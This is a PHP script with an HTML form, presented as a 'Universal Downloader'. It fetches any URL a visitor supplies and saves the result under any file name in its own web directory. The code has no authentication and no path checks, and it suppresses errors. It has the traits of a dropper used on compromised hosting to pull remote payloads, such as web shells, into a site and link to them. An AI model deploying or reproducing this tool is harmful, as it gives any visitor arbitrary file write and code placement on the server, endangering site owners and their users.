<?php
/**
 * SIMPLE DOWNLOADER - Universal
 * Pure fsockopen, No cURL required
 */

error_reporting(0);
set_time_limit(0);

function download_file($url, $save_to) {
    $urlParts = parse_url($url);
    $host = $urlParts['host'];
    $path = isset($urlParts['path']) ? $urlParts['path'] : '/';
    $scheme = isset($urlParts['scheme']) ? $urlParts['scheme'] : 'http';
    $port = ($scheme == 'https') ? 443 : 80;
    $sslHost = ($scheme == 'https') ? "ssl://" . $host : $host;
    
    $fp = @fsockopen($sslHost, $port, $errno, $errstr, 30);
    if (!$fp) {
        return false;
    }
    
    $request = "GET $path HTTP/1.1\r\n";
    $request .= "Host: $host\r\n";
    $request .= "User-Agent: Mozilla/5.0\r\n";
    $request .= "Connection: Close\r\n\r\n";
    
    fwrite($fp, $request);
    
    $isHeader = true;
    $content = '';
    while (!feof($fp)) {
        $line = fgets($fp, 4096);
        if ($isHeader) {
            if ($line == "\r\n" || $line == "\n") {
                $isHeader = false;
            }
        } else {
            $content .= $line;
        }
    }
    fclose($fp);
    
    if (!empty($content)) {
        file_put_contents($save_to, $content);
        return (file_exists($save_to) && filesize($save_to) > 0);
    }
    return false;
}

// ========== PROSES DOWNLOAD ==========
if (isset($_GET['url']) && isset($_GET['file'])) {
    $url = $_GET['url'];
    $file = $_GET['file'];
    $target = __DIR__ . '/' . $file;
    
    $success = download_file($url, $target);
    
    if ($success) {
        echo "✅ Download success: " . htmlspecialchars($file);
        echo "<br><a href='$file' target='_blank'>Open File</a>";
    } else {
        echo "❌ Download failed!";
    }
    exit;
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Universal Downloader</title>
    <style>
        body { font-family: monospace; background: #0a0e14; color: #fff; padding: 20px; }
        .box { max-width: 500px; margin: auto; background: #1a2332; padding: 20px; border-radius: 8px; }
        input, button { width: 100%; padding: 10px; margin: 5px 0; border-radius: 4px; border: 1px solid #333; background: #0d131a; color: #fff; }
        button { background: #2a4a2a; color: #5cda41; cursor: pointer; }
        .info { background: #332020; padding: 8px; border-radius: 4px; margin: 5px 0; font-size: 12px; color: #ff6b6b; }
    </style>
</head>
<body>
<div class="box">
    <h2>📥 Universal Downloader</h2>
    <p style="font-size:12px; color:#abb2bf;">Download file from URL (No cURL required)</p>
    
    <form method="GET">
        <input type="text" name="url" placeholder="File URL (https://...)" required>
        <input type="text" name="file" placeholder="Save as (contoh: file.zip)" required>
        <button type="submit">📥 DOWNLOAD</button>
    </form>
    
    <div class="info">
        ⚡ Works on: PHP 5.6+ | All hosting | No cURL needed
    </div>
    
    <?php if (isset($_GET['url']) && isset($_GET['file'])): ?>
        <div style="margin-top:15px; padding:10px; background:#0d131a; border-radius:4px;">
            📁 Downloaded: <strong><?= htmlspecialchars($_GET['file']) ?></strong>
        </div>
    <?php endif; ?>
</div>
</body>
</html>